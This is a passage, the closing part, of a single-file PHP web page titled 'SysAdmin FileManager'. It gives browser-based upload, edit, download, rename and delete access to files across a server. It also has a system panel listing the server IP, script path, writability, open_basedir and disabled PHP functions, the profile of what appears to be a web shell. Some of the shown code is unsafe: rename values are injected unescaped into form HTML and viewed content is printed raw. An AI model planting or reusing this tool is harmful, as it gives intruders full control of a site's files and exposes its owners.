<button type="submit" class="btn btn-primary">Upload</button>
</div>
</form>
<div id="uploadProgress" style="display:none; margin-top:15px;">
<div style="background:#e2e8f0; border-radius:4px; overflow:hidden; height:8px;">
<div id="progressBar" style="background:var(--primary); height:100%; width:0%; transition:width 0.3s;"></div>
</div>
<p id="progressText" style="font-size:0.8rem; color:var(--text-muted); margin-top:5px;">Uploading...</p>
</div>
</div>
<?php elseif (isset($_GET['action']) && $_GET['action'] == 'create'): ?>
<div class="form-panel">
<h3>â Create New</h3>
<form method="post" style="margin-bottom:15px;">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<div class="form-row">
<input type="text" name="mkdir" class="input-control" placeholder="New folder name...">
<button type="submit" class="btn btn-primary">đ Create Folder</button>
</div>
</form>
<form method="post">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<div class="form-row">
<input type="text" name="create_file" class="input-control" placeholder="New file name (e.g., config.php)...">
<button type="submit" class="btn btn-success">đ Create File</button>
</div>
</form>
</div>
<?php elseif (isset($_GET['action']) && $_GET['action'] == 'info'): ?>
<div class="form-panel">
<h3>âšī¸ System Information</h3>
<div class="info-box">
<table style="width:100%; border-collapse:collapse;">
<tr><td style="padding:5px 10px; font-weight:600;">Server Software</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'); ?></td></tr>
<tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">PHP Version</td><td style="padding:5px 10px;"><?php echo PHP_VERSION; ?></td></tr>
<tr><td style="padding:5px 10px; font-weight:600;">Operating System</td><td style="padding:5px 10px;"><?php echo sanitize_output(php_uname()); ?></td></tr>
<tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Server IP</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['SERVER_ADDR'] ?? 'N/A'); ?></td></tr>
<tr><td style="padding:5px 10px; font-weight:600;">Your IP</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['REMOTE_ADDR'] ?? 'N/A'); ?></td></tr>
<tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Document Root</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['DOCUMENT_ROOT'] ?? 'N/A'); ?></td></tr>
<tr><td style="padding:5px 10px; font-weight:600;">Script Path</td><td style="padding:5px 10px;"><?php echo sanitize_output(__FILE__); ?></td></tr>
<tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Current Directory</td><td style="padding:5px 10px;"><?php echo sanitize_output($current_dir); ?></td></tr>
<tr><td style="padding:5px 10px; font-weight:600;">Writable</td><td style="padding:5px 10px;"><?php echo is_writable($current_dir) ? '<span style="color:var(--success);">â Yes</span>' : '<span style="color:var(--danger);">â No</span>'; ?></td></tr>
<tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Disk Free Space</td><td style="padding:5px 10px;"><?php echo format_size(@disk_free_space($current_dir)); ?></td></tr>
<tr><td style="padding:5px 10px; font-weight:600;">Disk Total Space</td><td style="padding:5px 10px;"><?php echo format_size(@disk_total_space($current_dir)); ?></td></tr>
<tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">upload_max_filesize</td><td style="padding:5px 10px;"><?php echo ini_get('upload_max_filesize'); ?></td></tr>
<tr><td style="padding:5px 10px; font-weight:600;">post_max_size</td><td style="padding:5px 10px;"><?php echo ini_get('post_max_size'); ?></td></tr>
<tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">memory_limit</td><td style="padding:5px 10px;"><?php echo ini_get('memory_limit'); ?></td></tr>
<tr><td style="padding:5px 10px; font-weight:600;">max_execution_time</td><td style="padding:5px 10px;"><?php echo ini_get('max_execution_time'); ?>s</td></tr>
<?php $ob = ini_get('open_basedir'); ?>
<tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">open_basedir</td><td style="padding:5px 10px; font-size:0.8rem;"><?php echo $ob ? sanitize_output($ob) : '<span style="color:var(--success);">No restriction</span>'; ?></td></tr>
<?php $dl = ini_get('disable_functions'); ?>
<tr><td style="padding:5px 10px; font-weight:600;">Disabled Functions</td><td style="padding:5px 10px; font-size:0.8rem;"><?php echo $dl ? sanitize_output($dl) : '<span style="color:var(--success);">None</span>'; ?></td></tr>
</table>
</div>
</div>
<?php elseif (isset($_GET['view']) && !empty($view_content)): ?>
<div class="form-panel">
<div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px; flex-wrap:wrap; gap:10px;">
<h3>đī¸ View: <?php echo sanitize_output($_GET['view']); ?></h3>
<div class="action-links">
<?php if (is_editable($_GET['view'])): ?>
<a href="?edit=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn btn-primary btn-sm">âī¸ Edit</a>
<?php endif; ?>
<a href="?download=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary btn-sm">âŦī¸ Download</a>
<a href="?" class="btn btn-secondary btn-sm">â Close</a>
</div>
</div>
<div style="background:white; padding:10px; border:1px solid #e2e8f0; border-radius:6px; overflow:hidden;">
<?php echo $view_content; ?>
</div>
</div>
<?php elseif (!empty($edit_filename)): ?>
<div class="form-panel">
<div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px; flex-wrap:wrap; gap:10px;">
<h3>âī¸ Edit: <?php echo sanitize_output($edit_filename); ?></h3>
<div class="action-links">
<a href="?view=<?php echo urlencode($edit_filename); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary btn-sm">đī¸ View</a>
<a href="?" class="btn btn-secondary btn-sm">â Cancel</a>
</div>
</div>
<form method="post" id="editForm">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<input type="hidden" name="edit_filename" value="<?php echo sanitize_output($edit_filename); ?>">
<div class="editor-container">
<textarea name="edit_content" id="editorTextarea" class="editor-textarea"><?php echo sanitize_output($edit_content); ?></textarea>
</div>
<div class="editor-actions">
<button type="submit" name="save_edit" value="1" class="btn btn-success">đž Save Changes</button>
<button type="button" class="btn btn-secondary" onclick="if(confirm('Discard changes?')) window.location.href='?'">Cancel</button>
<span id="editorInfo" style="margin-left:auto; font-size:0.8rem; color:var(--text-muted);"></span>
</div>
</form>
</div>
<?php else: ?>
<!-- Default: File Listing -->
<div class="quick-actions">
<form method="post" class="form-row">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<input type="text" name="mkdir" class="input-control" placeholder="đ New folder name...">
<button type="submit" class="btn btn-primary btn-sm">Create</button>
</form>
<form method="post" class="form-row">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<input type="text" name="create_file" class="input-control" placeholder="đ New file name...">
<button type="submit" class="btn btn-success btn-sm">Create</button>
</form>
</div>
<table class="file-table">
<thead>
<tr>
<th style="width:35%;">Name</th>
<th style="width:10%;">Size</th>
<th style="width:12%;">Permissions</th>
<th style="width:12%;">Owner</th>
<th style="width:15%;">Modified</th>
<th style="width:16%;">Actions</th>
</tr>
</thead>
<tbody>
<?php
$files = @scandir($current_dir);
if ($files === false) {
echo "<tr><td colspan='6' class='error-box'>Cannot read directory. Permission denied.</td></tr>";
} else {
$dirs = [];
$items = [];
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
$path = $current_dir . DS . $f;
if (is_dir($path)) {
$dirs[$f] = $path;
} elseif (is_file($path)) {
$items[$f] = $path;
}
}
// Sort directories first, then files
ksort($dirs);
ksort($items);
$all_files = $dirs + $items;
if (empty($all_files)) {
echo "<tr><td colspan='6' class='empty-state'>
<div class='empty-state-icon'>đ</div>
<p>This folder is empty</p>
</td></tr>";
} else {
foreach ($all_files as $name => $path) {
$is_dir = is_dir($path);
$ext = get_file_extension($name);
// Get icon
if ($is_dir) {
$icon = '<span class="file-icon icon-dir">đ</span>';
} else {
$icon = '<span class="file-icon">' . get_file_icon($name) . '</span>';
}
$size = $is_dir ? '-' : format_size(@filesize($path));
$perms = get_perms($path);
$owner = get_owner_name($path);
$time = date('Y-m-d H:i', @filemtime($path));
$safe_name = sanitize_output($name);
$safe_name_js = addslashes($name);
// Build action links
$actions = '';
if ($is_dir) {
$actions .= '<a href="?cd=' . urlencode($path) . '&token=' . $security_token . '" class="action-link">đ Open</a>';
} else {
$actions .= '<a href="?view=' . urlencode($name) . '&token=' . $security_token . '" class="action-link">đī¸ View</a>';
if (is_editable($name)) {
$actions .= '<a href="?edit=' . urlencode($name) . '&token=' . $security_token . '" class="action-link">âī¸ Edit</a>';
}
$actions .= '<a href="?download=' . urlencode($name) . '&token=' . $security_token . '" class="action-link">âŦī¸ Download</a>';
}
$actions .= '<a href="javascript:void(0)" onclick="showRenameModal(\'' . $safe_name_js . '\')" class="action-link">đ Rename</a>';
$actions .= '<a href="javascript:void(0)" onclick="showDeleteModal(\'' . $safe_name_js . '\')" class="action-link action-delete">đī¸ Delete</a>';
// Build row
echo '<tr>';
echo '<td>';
if ($is_dir) {
echo '<a href="?cd=' . urlencode($path) . '&token=' . $security_token . '" class="file-name">';
} else {
echo '<a href="?view=' . urlencode($name) . '&token=' . $security_token . '" class="file-name">';
}
echo $icon . ' ' . $safe_name;
echo '</a></td>';
echo '<td class="size-cell">' . $size . '</td>';
echo '<td class="perm-cell">' . $perms . '</td>';
echo '<td class="owner-cell">' . $owner . '</td>';
echo '<td class="date-cell">' . $time . '</td>';
echo '<td><div class="action-links">' . $actions . '</div></td>';
echo '</tr>';
}
}
// Show item count
$dir_count = count($dirs);
$file_count = count($items);
echo '<tr><td colspan="6" style="padding:10px 12px; font-size:0.8rem; color:var(--text-muted); background:#f8fafc; text-align:right;">';
echo $dir_count . ' folder' . ($dir_count !== 1 ? 's' : '') . ', ' . $file_count . ' file' . ($file_count !== 1 ? 's' : '');
echo '</td></tr>';
}
?>
</tbody>
</table>
<?php endif; ?>
</div>
<div style="padding:10px 20px; background:#f8fafc; border-top:1px solid var(--border); font-size:0.75rem; color:var(--text-muted); text-align:center;">
SysAdmin FileManager | Path: <?php echo sanitize_output($current_dir); ?> | Writable: <?php echo is_writable($current_dir) ? 'Yes' : 'No'; ?>
</div>
</div>
<!-- Delete Confirmation Modal -->
<div class="modal-overlay" id="deleteModal">
<div class="modal">
<h3>đī¸ Confirm Delete</h3>
<p>Are you sure you want to delete <strong id="deleteItemName"></strong>?</p>
<p style="font-size:0.85rem; color:var(--danger);">This action cannot be undone!</p>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeModal('deleteModal')">Cancel</button>
<button class="btn btn-danger" id="confirmDeleteBtn">Delete</button>
</div>
</div>
</div>
<!-- Rename Modal -->
<div class="modal-overlay" id="renameModal">
<div class="modal">
<h3>đ Rename</h3>
<input type="text" id="renameInput" class="rename-input" placeholder="New name...">
<input type="hidden" id="renameOriginal">
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeModal('renameModal')">Cancel</button>
<button class="btn btn-primary" id="confirmRenameBtn">Rename</button>
</div>
</div>
</div>
<script>
// Toast auto-hide
setTimeout(function() {
document.querySelectorAll('.toast').forEach(function(el) {
el.style.opacity = '0';
el.style.transition = 'opacity 0.5s';
setTimeout(function() { el.remove(); }, 500);
});
}, 4000);
// Delete Modal
let deleteTarget = '';
function showDeleteModal(name) {
deleteTarget = name;
document.getElementById('deleteItemName').textContent = name;
document.getElementById('deleteModal').style.display = 'flex';
}
document.getElementById('confirmDeleteBtn').onclick = function() {
if (deleteTarget) {
window.location.href = '?delete=' + encodeURIComponent(deleteTarget) + '&token=<?php echo $security_token; ?>';
}
};
// Rename Modal
function showRenameModal(oldName) {
document.getElementById('renameOriginal').value = oldName;
document.getElementById('renameInput').value = oldName;
document.getElementById('renameModal').style.display = 'flex';
// Select filename without extension
var input = document.getElementById('renameInput');
var dotIndex = oldName.lastIndexOf('.');
if (dotIndex > 0) {
input.setSelectionRange(0, dotIndex);
} else {
input.select();
}
input.focus();
}
document.getElementById('confirmRenameBtn').onclick = function() {
var oldName = document.getElementById('renameOriginal').value;
var newName = document.getElementById('renameInput').value.trim();
if (newName && newName !== oldName) {
var form = document.createElement('form');
form.method = 'POST';
form.innerHTML = '<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">' +
'<input type="hidden" name="rename_from" value="' + oldName + '">' +
'<input type="hidden" name="rename_to" value="' + newName + '">';
document.body.appendChild(form);
form.submit();
}
};
// Enter key on rename input
document.getElementById('renameInput').addEventListener('keypress', function(e) {
if (e.key === 'Enter') {
document.getElementById('confirmRenameBtn').click();
}
});
// Close modals
function closeModal(id) {
document.getElementById(id).style.display = 'none';
}
// Close modal on overlay click
document.querySelectorAll('.modal-overlay').forEach(function(overlay) {
overlay.addEventListener('click', function(e) {
if (e.target === this) {
this.style.display = 'none';
}
});
});
// Close modals on Escape key
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape') {
document.querySelectorAll('.modal-overlay').forEach(function(m) {
m.style.display = 'none';
});
}
});
// Editor enhancements
<?php if (!empty($edit_filename)): ?>
(function() {
var textarea = document.getElementById('editorTextarea');
var infoSpan = document.getElementById('editorInfo');
function updateInfo() {
var text = textarea.value;
var lines = text.split('\n').length;
var chars = text.length;
infoSpan.textContent = 'Lines: ' + lines + ' | Characters: ' + chars;
}
updateInfo();
textarea.addEventListener('input', updateInfo);
// Tab key support
textarea.addEventListener('keydown', function(e) {
if (e.key === 'Tab') {
e.preventDefault();
var start = this.selectionStart;
var end = this.selectionEnd;
this.value = this.value.substring(0, start) + ' ' + this.value.substring(end);
this.selectionStart = this.selectionEnd = start + 4;
updateInfo();
}
});
// Auto-resize
function autoResize() {
textarea.style.height = 'auto';
textarea.style.height = Math.max(500, textarea.scrollHeight) + 'px';
}
autoResize();
textarea.addEventListener('input', autoResize);
})();
// Warn before leaving with unsaved changes
var editForm = document.getElementById('editForm');
var originalContent = textarea ? textarea.value : '';
window.addEventListener('beforeunload', function(e) {
if (textarea && textarea.value !== originalContent) {
e.preventDefault();
e.returnValue = '';
}
});
<?php endif; ?>
// Upload form with XHR for progress (optional enhancement)
var uploadForm = document.getElementById('uploadForm');
if (uploadForm) {
uploadForm.addEventListener('submit', function(e) {
// Let form submit normally, but show progress indicator
document.getElementById('uploadProgress').style.display = 'block';
document.getElementById('progressBar').style.width = '50%';
document.getElementById('progressText').textContent = 'Processing upload...';
});
}
</script>
</body>
</html>Size: 64.35 KBMIME: text/x-phpLines: 1575